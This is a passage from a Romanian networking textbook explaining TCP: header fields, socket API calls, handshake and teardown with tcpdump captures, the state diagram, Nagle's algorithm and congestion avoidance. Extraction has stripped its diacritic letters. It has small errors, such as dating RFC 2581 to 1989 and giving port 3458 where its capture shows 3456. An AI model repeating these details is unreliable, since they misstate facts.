port surs - 16 bii pentru specificarea portului aplicaiei transmitoare. port destinaie - 16 bii pentru specificarea portului aplicaiei ce recepioneaz segmentul TCP. numr de secven - 32 bii identifica pozitia curenta a primului octet din segment n cadrul intregului flux de comunicaie TCP; dupa ce se atinge valoarea 232-1, se revine la 0. confirmare - 32 bii identifica urmatorul octet de date pe care transimatorul il asteapta de la receptor; astfel, acest numar va fi cu 1 mai mare decat cel asociat celui mai recent receptionat octet de date. lungimea antetului - 4 bii specific dimensiunea antetului ca numr de cuvinte de 32 de bii (4 octei); antetul poate avea ntre 20 i 60 de octei, deci valoarea acestui cmp va fi ntre 5 (5 x 4 = 20 octei) i 15 (15 x 4 = 60). 6 bii rezervai pentru utilizri viitoare 6 bii de control reprezentnd urmtoarele flag-uri ce pot fi setate simultan:

384 | R e e l e L o c a l e

11-2: Structura unui segment TCP Urgent Pointer (URG) - cmpul urgent pointer este valid Acknowledgement (ACK) - cmpul de confirmare (numar secventa confirmat) este valid Push Function (PSH) - destinaia trebuie s trimit datele ctre nivelul aplicaie ct mai devreme Reset the Connection (RST) - se dorete resetarea conexiunii; se transmite receptorului c transmitorul anuleaz conexiunea, astfel nct informaiile i buffer-ele alocate pot fi eliberate Synchronize (SYN) transmitorul ncearc sincronizarea numerelor de secven; este folosit la stabilirea unei conexiuni ntre un transmitor i un receptor No More Data from Sender (FIN) - nchiderea conexiunii: receptorul este anunat c transmitorul a ajuns la sfritul fluxului de octei din conexiunea TCP curent
dimensiunea ferestrei - 16 bii reprezint numrul de octei (ncepnd cu numrul de secven coninut n cmpul de confirmare) pe care destinaia e dispus s-l primeasc; este limitat la 65535 octei dar, cu toate c pare o limit destul de mare, exist situaii cnd se doresc valori mult mai mari suma de control - 16 bii aceast sum de control acoper ntregul segment TCP (att datele, ct i antetul TCP) i, spre deosebire de UDP, este obligatoriu s fie completat de transmitor i verificat de receptor. urgent pointer - 16 bii este utilizat pentru specificarea deplasamentului ultimului octet de date trimis n regim urgent. opiuni - pn la 40 de octei furnizeaz o serie de parametri pentru o funcionalitate special

11.3.3

Conexiunea i comunicaia TCP

Dupa cum se poate observa din cmpurile antetului, protocolul TCP este un protocol complex. O dovad este numrul mare de RFC-uri care se refer la acest protocol. Pentru o mai uoar i mai bun nelegere a acestuia, urmtoarele seciuni vor prezenta funcionalitatea protocolului n paralel cu interfaa de programare cu sockei Berkeley, devenit interfaa universal de programare a aplicaiilor de reea.

385 | P r o t o c o a l e d e n i v e l t r a n s p o r t

11.3.3.1

Interfaa socket

Ca i abstractizare, un socket este interfaa pe care sistemul de operare o pune la dispoziia aplicaiei pentru ca aceasta s poat comunica prin intermediul reelei cu o alt aplicaie de pe un alt sistem. Un socket identific n mod unic un capt (endpoint) dintr-o conexiune. Protocolul TCP funcioneaz n regim client-server. Socketul client i socketul server formeaz o conexiune. Din acest punct de vedere un socket poate fi considerat un tuplu: <protocol nivel 3, adresa nivel 3, protocol nivel 4, adresa nivel 4> O conexiune este o pereche format din doi sockei: <socket client, socket server>. n marea majoritate a cazurilor, protocolul de nivel 3 este IP, iar adresa 3 este o adres IP pe 32 de bii. Protocolul de nivel 4 poate fi UDP sau TCP, iar adresa de nivel 4 este portul asociat conexiunii. Interfaa de programare impune dou apeluri pentru crearea unui socket: apelul socket i apelul bind. Un exemplu de creare a unui socket este:
int s; struct sockaddr_in addr; s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP); bind (s, (struct sockaddr *) &addr, sizeof (addr));

Apelul socket specific protocolul de nivel 3 (IP PF_INET) i protocolul de nivel 4 (TCP IPPROTO_TCP). Apelul bind specific celelalte dou componente ale tuplului ce definete un socket: adresa IP i portul TCP (se regsesc n cmpurile structurii addr). nc de la apariia TCP i a interfeei socket, modelul de comunicaie utilizat a fost modelul client-server. n cadrul acestui model, un sistem creeaz un socket i ateapt iniierea unei conexiuni de pe un alt sistem; socketul se cheam socket n starea listening i este specific serverului, iar sistemul care iniiaz conexiunea este clientul. Cei doi socketi (socketul client i socketul server) se creeaz conform modelului de mai sus. n continuare, socketul server este plasat n starea listening, iar socketul client va iniia conexiunea. Pentru server, se utilizeaz apelurile listen i accept, iar pentru client apelul connect, ca mai jos:
/* server */ listen (server_sock, 10); new_sock = accept (server_sock, &cli_addr, &cli_addr_len); /* client */ connect (client_sock, &serv_addr, &serv_addr_len);

Faptul c un server socket se gsete n starea listening poate fi observat cu ajutorul comenzii netstat (NETwork STATistics):
# netstat --tcp --listening --numeric Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address tcp 0 0 0.0.0.0:995 tcp 0 0 127.0.0.1:3306 tcp 0 0 0.0.0.0:111 tcp 0 0 0.0.0.0:80 tcp 0 0 0.0.0.0:113 tcp 0 0 0.0.0.0:1234 tcp 0 0 0.0.0.0:16114 tcp 0 0 0.0.0.0:21 tcp 0 0 127.0.0.1:985 tcp 0 0 0.0.0.0:25 Foreign Address 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* 0.0.0.0:* State LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN LISTEN

Adresa 0.0.0.0 indic faptul c socketul n cauz ascult pe toate interfeele sistemului; este echivalentul macrodefiniiei INADDR_ANY pus la dispoziie de interfaa de programare cu sockei.

386 | R e e l e L o c a l e

Toate etapele prezentate pn n acest moment au nsemnat crearea unor structuri n cadrul sistemului de operare pregtitoare pentru iniierea unui conexiuni TCP. Plasarea unui socket n starea listening din partea serverului este o cerere pasiv de conectare (passive open). Protocolul TCP intr n aciune n momentul n care clientul iniiaz conexiunea ctre server prin intermediul apelului connect.

11.3.3.2

Iniierea unei conexiuni TCP

Folosirea apelului connect din cadrul aplicaiei client conduce la iniierea unei conexiuni TCP ntre client i server, numit cerere activ de conexiune (active open). Modul de transmisie pentru TCP este full-duplex, existnd dou canale de comunicaie (cte unul pentru fiecare direcie). Acest lucru nseamn, c dup iniierea conexiunii, att serverul ct i clientul au rol dual: transmitor i receptor; vor trebui iniiate dou sesiuni de comunicare: clientserver i server-client. Protocolul de iniiere poart numele de three-way handshake i este prezentat n figura de mai jos:

11-3: Stabilirea unei conexiuni TCP Cei trei pai ai protocolului sunt dup cum urmeaz:
1. Cererea activ este realizat prin transmiterea unui segment cu flag-ul SYN activat. 2. Serverul rspunde prin transmiterea unui segment cu flag-urile SYN i ACK activate. 3. Clientul transmite un segment cu flag-ul ACK activat.

n acest moment, att serverul ct i clientul au primit confirmarea stabilirii conexiunii. Rolul flag-ului SYN, dupa cum i spune i numele, este acela de sincronizarea a numerelor de secven ntre transmitor i receptor. Un exemplu mai detaliat al unei iniieri de conexiune TCP este urmtorul:
Clientul transmite un segment de sincronizare (flag-ul SYN activat) pentru iniierea unei conexiuni. Orice segment SYN conine i un numr de secven. Se consider c numrul de secven este x. Serverul primete segmentul, reine numrul de secven x transmis de client i rspunde cu un segment n care sunt activate flag-urile SYN i ACK. Flag-ul ACK valideaz prezena numrului de confirmare. Numrul de confirmare este urmtorul numr de secven pe care server se ateapt s-l primeasc de la client, adic x+1. Serverul folosete flag-ul SYN pentru a

387 | P r o t o c o a l e d e n i v e l t r a n s p o r t iniia o sesiune de rspuns, astfel nct segmentul TCP conine propriul numr de secven cu valoarea y. Clientul rspunde cu urmtorul numr de secven (x+1) i un numr de confirmare (y+1), care este numrui de secven al serverului incrementat cu 1. Clientul se ateapt ca numrul de secven urmtor trimis de server s fie y+1.

Folosind utilitarul tcpdump se pot urmri pachetele folosite n cadrul protocolului de iniiere. Mai jos este prezentat monitorizarea unor astfel de pachete:
IP 127.0.0.1.36583 > 127.0.0.1.3456: S 2248547107:2248547107(0) win 5840 <mss 1460,sackOK,timestamp 13245384 0,nop,wscale 2> IP 127.0.0.1.3456 > 127.0.0.1.36583: S 2238475525:2238475525(0) ack 2248547108 win 5792 <mss 1460,sackOK,timestamp 13245384 13245384,nop,wscale 2> IP 127.0.0.1.36583 > 127.0.0.1.3456: . ack 2238475526 win 1460 <nop,nop,timestamp 13245384 13245384>

n exemplul de mai sus, att serverul ct i clientul ruleaz pe acelai sistem (localhost 127.0.0.1). Serverul ascult conexiuni pe portul 3456, iar clientul iniiaz conexiunea de pe portul 36583. Cele 3 segmente corespund celor 3 pai ai protocolului de iniiere:
n cadrul primului segment, transmis de client serverului, flag-ul SYN este activat (prezena simbolului S semnific prezena flag-ului SYN). Numrul de secven este 2248547107. Serverul rspunde clientului cu flag-urile SYN i ACK activate (prezena simbolului ack semnific prezena flag-ului ACK). Numrul de secven pentru sesiunea de rspuns iniiat de server este 2238475525; prezena flag-ului ACK valideaz numrul de confirmare, care este 2248547108 (2248547107 + 1), adic tocmai numrul de secven din segmentul transmis de client incrementat. Clientul rspunde cu un segment cu flag-ul ACK activat. Numrul de confirmare este, conform ateptrilor, 2238475526 (2238475525 + 1).

Numerele de secven utilizate pentru stabilirea celor dou sesiuni sunt numere generate aleator. Exist, ns, i scenarii n care protocolul de comunicaie poate eua. Astfel, unele cereri de conexiune pot fi respinse, sau pot fi pierdute pe drum, sau pot fi filtrate. Daca se ncearc conectarea pe un port inexistent, sistemul de operare va reseta conexiunea prin utilizarea flag-ului RST. n exemplul de mai jos, clientul ncearc conectarea pe un astfel de port:
IP 127.0.0.1.43550 > 127.0.0.1.3456: S 3689144420:3689144420(0) 16396,sackOK,timestamp 3271474 0,nop,wscale 2> IP 127.0.0.1.3456 > 127.0.0.1.43550: R 0:0(0) ack 3689144421 win 0 win 32767 <mss

Clientul ncearc s se conecteze pe portul 3458 i trimite segmentul de iniiere conexiune (cu flag-ul SYN activat). ntruct portul 3458 nu este folosit de niciun socket n starea listening, sistemul de operare transmite un segment cu flag-ul RST activat (prezena simbolului R semnific prezena flag-ului RST). Segmentul de rspuns conine, de asemenea, flag-ul ACK activat i numrul de confirmare ateptat. Un alt scenariu este acela n care pachetele de iniiere de conexiune sunt filtrate fr transmiterea unui pachet de resetare a conexiunii sau sunt pierdute. n aceast situaie, clientul va ncerca periodic deschiderea unei conexiuni prin retransmiterea pachetului de iniiere de conexiune. Mai jos sunt prezentate cteva din pachetele transmise de client:
IP 127.0.0.1.41706 > 127.0.0.1.3456: 16396,sackOK,timestamp 4495701 0,nop,wscale 2> IP 127.0.0.1.41706 > 127.0.0.1.3456: 16396,sackOK,timestamp 4498701 0,nop,wscale 2> IP 127.0.0.1.41706 > 127.0.0.1.3456: 16396,sackOK,timestamp 4504701 0,nop,wscale 2> IP 127.0.0.1.41706 > 127.0.0.1.3456: 16396,sackOK,timestamp 4516701 0,nop,wscale 2> IP 127.0.0.1.41706 > 127.0.0.1.3456: 16396,sackOK,timestamp 4540701 0,nop,wscale 2> S S S S S 691948505:691948505(0) 691948505:691948505(0) 691948505:691948505(0) 691948505:691948505(0) 691948505:691948505(0) win win win win win 32767 32767 32767 32767 32767 <mss <mss <mss <mss <mss

Se observ c segmentele transmise sunt identice din punct de vedere al coninutului. Singura diferen este dat de timpii de retransmisie (indicai de simbolul timestamp) care

388 | R e e l e L o c a l e

cresc exponenial (exponential backoff), caracteristic pentru orice retransmisie a unui segment TCP. La fel se poate ntmpla dac segmentul de rspuns (segmentul 2 din protocolul de iniiere a conexiunii) este filtrat. Serverul va retransmite periodic segmentul coninnd flag-urile SYN i ACK activate. Un firewall prezent ntre client i server poate filtra segmentele de iniiere de conexiune. Acesta va putea respinge segmentele prin transmiterea unui pachet ICMP tipic (Destination Unreachable) sau poate s nu ntreprind nicio aciune (al doilea scenariu de eec). Un astfel de firewall este folosit pentru protejarea reelelor locale. Astfel, cea mai mare parte a cererilor de conexiune din exterior spre reeaua local sunt filtrate. Acest lucru se realizeaz prin respingerea segmentelor care conin activat flag-ul SYN dar nu conin activat flag-ul ACK; flagul ACK nu trebuie sa fie activ pentru a face deosebirea ntre segmentul de iniiere de conexiune i cel de rspuns la segmentul de iniiere de conexiune.

11.3.3.3

Transferul de date

Dup cum s-a precizat anterior, la nivelul interfeei socket conexiunea este stabilit n momentul n care socketul server se gsete n starea listening dup apelul accept, iar clientul iniiaz conexiunea folosind connect. n momentul n care conexiunea este realizat (protocolul de iniiere a conexiunii se ncheie cu succes), apelul accept ntoarce descriptorul unui nou socket. Acest nou socket este cel care va coordona transferul de date ntre client i server. Cu alte cuvinte, socketul aflat n starea listening este utilizat numai pentru ascultarea de cereri de iniiere de conexiune, urmnd ca, ulterior stabilirii conexiunii, transferul de date s fie intermediat de un alt socket. O alt conexiune presupune crearea unui nou socket. Fiecare socket nou creat va fi folosi acelai port ca i socketul listener. Deosebirea ntre sockei este dat de socketul client. n funcie de adresa IP i portul socketului peer se realizeaz multiplexarea conexiunii. Sistemul de operare va menine o asociere ntre conexiunea realizat de ctre server cu un client i socketul care realizeaz comunicaia efectiva pentru a putea transmite informaiile ctre/de la acesta din urm. Majoritatea serverelor limiteaz numrul de conexiuni active la un moment dat. Un numr mare de conexiuni nseamn un numr mare de sockei care consum resursele sistemului. Deschiderea unui numr mare de conexiuni este un atac tipic Denial of Service (DoS). Un astfel de atac este SYN flood care deschide un numr mare de conexiuni pe un sistem. Transferul de date folosind interfaa socket se realizeaz folosind apelurile send i recv (sau read i write), ca mai jos:
/* server dupa accept */ read (new_sock, buffer, 1000); /* se citesc 1000 octeti */

write (new_sock, buffer, 1000); /* se scriu 1000 octeti */ /* client dupa connect */ write (client_sock, buffer, 1000); /* se scriu 1000 octeti */ read (client_sock, buffer, 1000); /* se citesc 1000 octeti */

Pentru transmiterea i recepia a cte 1000 octei att de ctre client ct i de ctre server, pachetele transmise sunt afiate de tcpdump ca mai jos:
IP 127.0.0.1.3456 > 127.0.0.1.33552: P 1272511013:1272512013(1000) ack 1265612124 win 32767 <nop,nop,timestamp 78548047 78548047> IP 127.0.0.1.33552 > 127.0.0.1.3456: . ack 1272512013 win 32767 <nop,nop,timestamp 78548047 78548047> IP 127.0.0.1.33552 > 127.0.0.1.3456: P 1265612124:1265613124(1000) ack 1272512013 win 32767 <nop,nop,timestamp 78548048 78548047> IP 127.0.0.1.3456 > 127.0.0.1.33552: . ack 1265613124 win 32767 <nop,nop,timestamp 78548048 78548048>

389 | P r o t o c o a l e d e n i v e l t r a n s p o r t

Primul pachet reprezint transmiterea a 1000 de octei de la server ctre client. Se observ prezena flag-ului PSH, folosit pentru a transmite datele ct mai curnd posibil ctre aplicaie. Datele au numerele de secven cuprinse ntre 1272511013 i 1272512013; limita superioar este de fapt numrul de secven ateptat ca numr de confirmare n pachetul de rspuns. Al doilea pachet este pachetul de rspuns trimis de ctre client serverului; se observ prezena flag-ului ACK i folosirea numrului de confirmare ateptat, adic 1272512013. Urmtoarele dou pachete reprezint acelai lucru ca mai sus: transmiterea a 1000 de octei i primirea unui pachet de rspuns, ns direcia este schimbat.

11.3.3.4

Terminarea unei conexiuni TCP

Pentru terminarea unei conexini TCP sunt necesare patru segmente TCP pentru a nchide complet o conexiune. Acesta este un protocol four-way handshake. Sunt necesare patru segmente deoarece TCP este un protocol full-duplex, nsemnnd c fiecare capt trebuie nchis independent. Pentru nchiderea unui capt al conexiunii se transmite un segment cu flag-ul FIN activat, iar cellalt capt i rspunde cu un segment de confirmare (flag-ul ACK activat). Drept urmare, o nchidere complet a unei conexiuni TCP necesit o pereche de segmente FIN i ACK de la fiecare capt. Protocolul de terminare este prezentat mai jos:

11-4: Terminarea unei conexiuni TCP Cnd unul din capete (clientul sau serverul) dorete nchiderea conexiunii, transmite un segment care conine activ flag-ul FIN iar cellalt capt i rspunde cu un segment ACK, urmnd ca n etapa urmtoare rolurile s se inverseze. Mai jos este prezentat un exemplu de captur a pachetelor utilizate pentru ncheierea unei conexiuni:
IP 127.0.0.1.32929 > 127.0.0.1.1234: F 3127227423:3127227423(0) ack 3134999211 win 32767 <nop,nop,timestamp 21011608 21011608> IP 127.0.0.1.1234 > 127.0.0.1.32929: . ack 3127227424 win 32767 <nop,nop,timestamp 21011609 21011608>

390 | R e e l e L o c a l e
IP 127.0.0.1.1234 > 127.0.0.1.32929: F 3134999211:3134999211(0) ack 3127227424 win 32767 <nop,nop,timestamp 21011630 21011608> IP 127.0.0.1.32929 > 127.0.0.1.1234: . ack 3134999212 win 32767 <nop,nop,timestamp 21011630 21011630>

Se observ c exist dou perechi de pachete de terminare, aa cum era de ateptat. Prima pereche reprezint cererea de ncheiere de conexiune transmis de client serverului i pachetul de rspuns sosit de la server; cea de-a doua pereche reprezint cererea de conexiune transmis de ctre server clientului i rspunsul acestuia din urma. Pachetul de ncheiere de conexiune conine activat flag-ul FIN (simbolul F denot prezena flag-ului FIN). Primul pachet de ncheiere are numrul de secven 3127227423, iar pachetul de rspuns are numrul de confirmare 3127227423+1. La fel se ntmpl i pentru cea de-a doua pereche de pachete de ncheiere a conexiunii. Este posibil s se foloseasc un protocol de terminare three-way handshake, n care, dup ce un capt trimite un segment FIN, cellalt capt i rspunde cu un segment FIN & ACK, iar primul capt rspunde cu ACK. Aceasta este cea mai obinuit metod de ncheiere a unei conexiuni. De asemenea, este posibil ca cele dou capete s transmit simultan segmente FIN, dup care ambele trebuie doar s transmit segmente de confirmare (ACK). Acesta poate fi considerat un protocol de nchidere two-way handshake, deoarece secvena FIN/ACK este executat n paralel pentru ambele direcii. La fel ca la deschiderea unei conexiuni, exist un timeout n care se poate primi segmentul de confirmare. Daca acesta nu este primit, se realizeaz retransmiterea segmentului ce conine activat flag-ul FIN. Totodat, dup transmiterea segmentului de confirmare, socketul trece ntr-o stare special (tip wait) n care ateapt un timp care s asigure ajungerea segmentului de confirmare la destinaie. Dac n acest timp primete un nou segment FIN (semn c segmentul de confirmare nu a ajuns la destinaie), transmite un nou segment i repornete timer-ul. Altfel, dup expirarea timer-ului, conexiunea se consider complet ncheiat i orice resurse asociate socket-ului sunt eliberate. O conexiune se poate afla n starea half-open, n care un capt este nchis, dar cellalt nu. Captul nchis nu poate s mai transmit date, dar poate primi. Situaia este invers pentru captul opus al conexiunii. Comunicaia este de tip simplex. Interfaa socket furnizeaz aplicaiei apelurile close i shutdown pentru terminarea unei conexiuni TCP. n vreme ce apelul close nchide complet conexiunea, apelul shutdown poate menine conexiunea n starea "half-open. Cteva exemple de utilizare a acestor apeluri sunt prezentate mai jos:
/* inchiderea conexiunii */ close (sock); /* inchiderea capatului de scriere; se pot citi date din socket, dar nu scrie */ shutdown (sock, SHUT_WR); /* socket-ul este half-open */ /* inchiderea capatului de citire; se pot scrie date in socket, dar nu citi */ shutdown (sock, SHUT_RD); /* socket-ul este half-open */ /* inchiderea conexiunii (echivalent close) */ shutdown (sock, SHUT_RDWR);

Resetarea conexiunii
Exist situaii n care TCP dorete resetarea conexiunii - de exemplu, dac se solicit iniierea unei conexiuni la un port inexistent. n acest caz, cealalt parte va trimite un segment cu bitul RST setat pentru a anula solicitarea. O alt situaie este atunci cnd se constat c cellalt capt al conexiunii nu rspunde un anumit timp (timeout).

391 | P r o t o c o a l e d e n i v e l t r a n s p o r t

11.3.3.5

Diagrama de stri

Toate evenimentele ce au loc n timpul stabilirii conexiunii, transferului i nchiderii conexiunii pot fi rezumate printr-un automat finit cunoscut sub numele de diagram de stri. Dup cum sugereaz chiar numele, este o main cu un numr limitat de stri. O stare este pstrat pn n momentul apariiei unui eveniment, moment n care se poate trece n alt stare i/sau efectua o aciune. Aceste stri posibile sunt cele din tabelul de mai jos (denumirile sunt asemntoare cu cele utilizate de netstat). Stare Descriere CLOSED Nu exist conexiune. LISTEN Serverul ateapt cereri de la clieni. SYN_SENT Clientul a trimis cererea de iniiere a conexiunii. Se ateapt confirmarea. SYN_RCVD S-a primit o cerere de iniiere conexiune. ESTABLISHED S-a stabilit conexiunea. FIN_WAIT_1 Aplicaia a solicitat nchiderea conexiunii. FIN_WAIT_2 Serverul a acceptat nchiderea conexiunii. CLOSING Ambele pri solicit simultan nchiderea conexiunii. TIME_WAIT Conexiune nchis, dar se atept ca pachetele retransmise s dispar. CLOSE_WAIT Serverul ateapt nchiderea conexiunii dinspre partea aplicaiei. LAST_ACK Serverul a nchis conexiunea i ateapt ultima confirmare. 11-5: Strile diagramei de stri TCP n diagrama ilustrat n figura de mai jos se pot observa 3 tipuri de tranziii ntre cele 11 stri: tranziii ce corespund unei funcionri normale pentru client (linii normale, continue), pentru server (linii normale, ntrerupte) i tranziii pentru situaii nestandard (linii subiri, continue). O comportare normal pentru client presupune parcurgerea urmtoarelor stri: CLOSED, SYN_SENT, ESTABLISHED, FIN_WAIT_1, FIN_WAIT_2, TIME_WAIT:
Iniial clientul TCP se afl n starea CLOSED. Ateptnd n starea CLOSED clientul poate primi de la aplicaie o cerere de iniiere activ a unei conexiuni. Trimite un segment SYN i trece n starea SYN_SENT. n starea SYN_SENT clientul ateapt de la server un segment ACK+SYN, dup care trimite un ACK i trece n starea ESTABLISHED. Din acest moment poate ncepe transferul efectiv de date. Clientul va rmne n aceast stare ct timp are de trimis/primit date. Aflat n aceast stare clientul TCP poate primi din partea aplicaiei o cerere de nchidere a conexiunii. n acest caz va trimite un segment FIN i trece n starea FIN_WAIT_1. n aceast stare clientul ateapt ACK din partea serverului. Dup ce-l primete, conexiunea ntr-un sens se va nchide i clientul trece n starea FIN_WAIT_2. Starea FIN_WAIT_2 dureaz pn cnd primete cererea de nchidere a conexiunii, FIN, din partea serverului. Trimite ACK i va trece n starea TIME_WAIT. n aceast stare se va porni un timer cu valoarea setat la dublul timpului de via maxim estimat pentru un segment, MSL (Maximum Segment Lifetime). Acest timer permite retransmiterea ACK-ului n cazul n care acesta se pierde (cellalt capt va da timeout i va retransmite segmentul FIN). n tot acest timp cei doi sockei (de la client i server) nu vor putea fi reutilizai. Totodat segmentele ntrziate care sosesc n aceast perioad sunt ignorate. Dup expirarea acestui timer clientul revine n starea iniial CLOSED.

392 | R e e l e L o c a l e

11-6: Diagrama de stri pentru TCP Din punctul de vedere al unui server o comportare standard parcurge urmtoarele stri: CLOSED, LISTEN, SYN_RCVD, ESTABLISHED, CLOSE_WAIT i LAST_ACK:
Iniial serverul TCP se afl n starea CLOSED. n aceast stare poate primi de la aplicaia server o cerere de iniiere pasiv i trece n starea LISTEN. Aflat n starea LISTEN serverul TCP poate recepiona un segment SYN de la un client TCP. n acest caz va trimite ACK+SYN i va trece n starea SYN_RCVD. n aceast stare serverul ateapt primirea confirmrii de la client, moment n care conexiunea e stabilit n ambele sensuri i se poate ncepe transferul de date (starea ESTABLISHED). Clientul TCP poate solicita nchiderea conexiunii trimind un segment FIN ctre server. n acest caz serverul TCP trimite confirmarea i trece n starea CLOSE_WAIT. n aceast stare serverul ateapt s primeasc din partea programului server nchiderea conexiunii, moment n care va trimite ctre client un segment FIN i trece n starea LAST_ACK. Serverul ateapt primirea ultimei confirmri de la client dup care revine n starea CLOSED.

Att serverul ct i clientul TCP se pot afla n oricare din cele 11 stri ale diagramei.

11.3.4

Controlul fluxului

Dac nc de la nceputul proiectrii protocolului s-a reuit stabilirea formatului unui segment TCP i a modului n care trebuie s se fac nchiderea i deschiderea unei conexiuni, nu acelai lucru se poate spune i despre modul n care ar trebui s se realizeze controlul fluxului. Faptul c TCP-ul a rmas neschimbat din 1989 (cnd RFC-ul 2581 a specificat clar modul n care trebuie s se comporte o implementare de TCP), rmne un rezultat important n domeniul reelelor de calculatoare.

393 | P r o t o c o a l e d e n i v e l t r a n s p o r t

n cele ce urmeaz noiunea de control al fluxului se refer la totalitatea algoritmilor care permit atingerea unei viteze de transfer punct-la-punct ct mai mare pentru toate conexiunile existente. n principal aceti algoritmi stabilesc modul n care segmentele i confirmrile trebuie trimise i aciunile care trebuie executate n situaiile n care rspunsurile ateptate de la cellalt capt ntrzie s soseasc. O parte dintre algoritmii cei mai utilizai sunt prezentai mai jos.

11.3.4.1

ntrzierea confirmrilor

O modalitate simpl de generare a confirmrilor este de a trimite cte una pentru fiecare segment primit. Aceast politic prezint avantajul de a face comunicaia self-clocking (folosindu-se ceasul intern) ns este ineficient dac segmentele care nu conin dect confirmri sunt urmate la scurt distan (cteva zeci de milisecunde) de segmente ce conin date efective. Pentru a evita aceast situaie se procedeaz la ntrzierea segmentelor care conin doar confirmri (valoarea uzual fiind de 200ms). Aceast strategie face posibil ca un rspuns generat de primirea unor date s plece spre cellalt capt n acelai segment cu confirmarea. Deoarece este dificil s fie meninute timere pentru fiecare confirmare, diferena de 200ms este calculat de un timer global la nivel de sistem. Din acest motiv, modul efectiv de comportare poate fi descris astfel: cnd un segment nu conine dect o confirmare, este adugat ntr-o coad ce va fi inspectat de un proces care din 200 n 200 ms trimite tot ce s-a acumulat n coad.

11.3.4.2

Algoritmul Nagle

Algoritmul propus de John Nagle n RFC 896, ncearc s mbunteasc performanele exploatnd urmtoarea caracteristic des ntlnit n dialogul dintre dou staii: dac se ncearc trimiterea unor date de dimensiune mic atunci cnd exist nc date neconfirmate de partener, acestea sunt depozitate i trimise ntr-un segment mai mare atunci cnd sosete confirmarea ateptat. n acest fel se poate evita generarea datagramelor mici (tinygrame), n situaia unei legturi lente. n cazul unei legturi rapide confirmrile vor veni repede i ntrzierea introdus de algoritm va neglijabil. Exist ns i cazuri n care acest algoritm duce la deprecierea performanelor: mesajele scurte generate de micrile mouse-ului n cazul folosirii unui server X Windows sau utilizarea tastelor care trimit mai mult de un caracter (secvene escape). Pentru a rezolva aceste inconveniente, API-ul de utilizare a TCP-ului trebuie s ofere o modalitate de a dezactiva acest algoritm (n sistemele bazate pe sockei exist n acest scop opiunea TCP_NODELAY).

11.3.4.3

Fereastra glisant

Algoritmul implementat de TCP pentru a implementa transferul sigur de date este cunoscut n teorie sub numele de Go-Back-N. n acest algoritm se utilizeaz numere de secven pentru a distinge pachetele ntre ele i o coad de pachete (dimensiunea maxim a cozii o reprezint fereastra) a cror confirmare se ateapt. Pachetele se mpart n patru categorii:
pachete trimise i pentru care s-a primit confirmare; pachete trimise i pentru care se ateapt nc confirmarea; pachete care nu au fost trimise nc dar care nu depesc limitele ferestrei i deci pot fi trimise; pachete care nc nu au fost trimise i care nici nu vor putea fi trimise dect dup ce au fost trimise toate pachetele din categoria 3 i s-au primit o parte din confirmrile pachetelor din categoria 2.

394 | R e e l e L o c a l e

n situaia n care confirmrile pentru pachetele din categoria 2 ntrzie prea mult (un mecanism de timere informeaz asupra acestui lucru) atunci ele vor fi retransmise. n versiunea iniial TCP-ul nu permitea dect confirmri pozitive, ceea ce nseamn c avansarea ferestrei se va opri la segmentele neconfirmate. O modalitate de a evita aceste situaii va fi prezentat n detaliu n seciunile urmtoare. O soluie foarte radical o constituie introducerea de confirmri selective. Aceast modific face ca TCP-ul actual s fie un hibrid de Go-Back-N i Selective Repeat. Deoarece dimensiunea ferestrei este anunat la fiecare segment, un client lent poate ca pe msur ce trimite confirmrile s informeze despre progresul nregistrat la livrarea datelor ctre nivelul aplicaie. Dac datele vin prea repede pentru viteza cu care clientul proceseaz datele, fereastra se va diminua i chiar nchide (acest lucru se realizeaz anunnd o fereastr de dimensiune zero).

11.3.4.4

Evitarea congestiei

Dac cei doi parteneri care comunic prelucreaz datele suficient de repede i vor s transfere un volum mare de date, atunci limitarea de care se vor lovi este cea dat de viteza reelei. Din cauza modului de funcionare best-effort pe care l ofer IP, atunci cnd canalul de comunicaie este saturat, o parte din segmentele TCP se pierd. n mod paradoxal att transmitorul ct i receptorul se pot afla n poziia de a fi primii n detectarea pierderii unui segment. Unul din indiciile date de transmitor despre pierderea unui segment este, n mod evident, apariia unui timeout a timer-ului de retransmisie. La nivelul receptorului un indiciu al posibilei pierderi a unui segment este primirea unor segmente cu date neordonate (out-oforder). Deoarece TCP n varianta iniial nu permite dect confirmri pozitive, singurul lucru pe care receptorul l poate face este ca la fiecare segment out-of-order primit s trimit o confirmare indicnd prin aceasta c la el continu s vin segmente ns cel indicat de numrul de secven de confirmare lipsete. Primirea acestor confirmri multiple este al doilea mod n care transmitorul poate afla de apariia congestiei. Algoritmul ce trebuie aplicat n momentul n care se detecteaz apariia congestiei este cunoscut sub numele de evitarea congestiei (congestion avoidance). Principiul care st la baza acestuia este ca la apariia congestiei fie s se treac la o incrementare liniar a dimensiunii ferestrei, n cazul n care congestia a fost detectat ca urmare a primirii unor confirmri identice repetate, fie s se reia algoritmul slow start-ului n cazul n care congestia s-a detectat prin expirarea unui timer. Implementarea acestui algoritm se bazeaz pe utilizarea unui nou contor (sstresh) care s indice dimensiunea ferestrei de la care se trece de la incrementarea exponenial la cea liniar. Algoritmul efectiv este urmtorul:
1. la stabilirea unei noi conexiuni se pleac cu sstresh iniializat la valoarea de 64K i cwnd la dimensiunea unui segment. 2. trimiterea de segmente se face fr a depi minimul dintre fereastra publicat de partener (pentru a nu depi capacitatea de procesare a partenerului) i cwnd curent (pentru a nu depi limita impus de capacitatea reelei). 3. la apariia congestiei sstresh este configurat la jumtatea valorii ferestrei curente (minimul dintre fereastra anunat de partener i cwnd ns cel puin dimensiunea corespunztoare pentru dou segmente); n cazul n care congestia a fost detectat prin expirarea unui timer, cwnd este iniializat cu dimensiunea unui segment. 4. la primirea unei confirmri incrementarea se face n dou moduri, n funcie de relaia n care se afl cwnd i sstresh:
o o cnd cwnd stee mai mic sau egal cu sstresh se face incrementarea exponenial caracteristic slow start-ului (care de fapt nu este deloc slow, n cazul de fa). cnd cwnd este mai mare ca sstresh atunci se face o incrementare cu dimensiunea unui segment.

395 | P r o t o c o a l e d e n i v e l t r a n s p o r t

11.3.4.5

TCP Keepalive Timer

